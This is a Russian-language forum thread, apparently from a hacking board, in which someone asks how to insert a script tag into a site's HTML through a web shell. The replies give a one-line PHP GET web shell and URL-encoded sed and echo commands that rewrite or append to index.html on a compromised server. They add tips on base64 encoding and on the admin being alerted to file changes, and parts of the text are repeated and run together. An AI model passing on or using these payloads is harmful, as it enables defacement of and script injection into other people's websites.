Привет. Не разбираюсь в шеллах, никогда с ними не работал. Можно ли через шелл добавить тег скрипта в заголовок html?
<pre> <?=`$_GET[cmd]`?> то:sed -i 's/<h1>hello<\/h1>/<h1>xss hello<\/h1>/g' index.html, тоесть получиться http://site.com/shell.php?cmd=sed -i 's/<h1>hello<\/h1>/<h1>xss hello<\/h1>/g' index.htmlecho "первая часть 2048 знаков" > index.html,и потом дописывать echo "вторая часть 2048 знаков" >> index.html и т.д (одна > перезаписывает, две >> дописывают в конец, 2048 макс длина юрл)http://site.com/shell.php?cmd=echo "первая часть 2048 знаков" > index.htmlhttp://site.com/shell.php?cmd=echo "первая часть 2048 знаков" >> index.htmlhttp://site.com/shell.php?cmd=echo "третья часть 2048 знаков" >> index.htmlНаверное, стоит добавить, что лучше в base64 закидывать с декодированием. Хотя, даже так не всегда все проходит гладко. Ну и, конечно, нужно помнить, что система может оповещать админа о внесении изменений в файл.Если шелл примитивный через get типа<pre> <?=`$_GET[cmd]`?>то:
2)через вхождения найти и заменить нужный текстsed -i 's/<h1>hello<\/h1>/<h1>xss hello<\/h1>/g' index.html, тоесть получитьсяhttp://site.com/shell.php?cmd=sed -i 's/<h1>hello<\/h1>/<h1>xss hello<\/h1>/g' index.html
3)скачать файл, отредачить и перезаписать командойecho "первая часть 2048 знаков" > index.html,и потом дописыватьecho "вторая часть 2048 знаков" >> index.htmlи т.д (одна > перезаписывает, две >> дописывают в конец, 2048 макс длина юрл)
http://site.com/shell.php?cmd=echo "первая часть 2048 знаков" > index.html
http://site.com/shell.php?cmd=echo "первая часть 2048 знаков" >> index.html
http://site.com/shell.php?cmd=echo "третья часть 2048 знаков" >> index.html
Если шелл через post запрос гораздо проще, можно одной строкой без ограничения длины
)))http://site.com/shell.php?cmd=echo "первая часть 2048 знаков" > index.html
Наверное, стоит добавить, что лучше в base64 закидывать с декодированием. Хотя, даже так не всегда все проходит гладко. Ну и, конечно, нужно помнить, что система может оповещать админа о внесении изменений в файл.
)))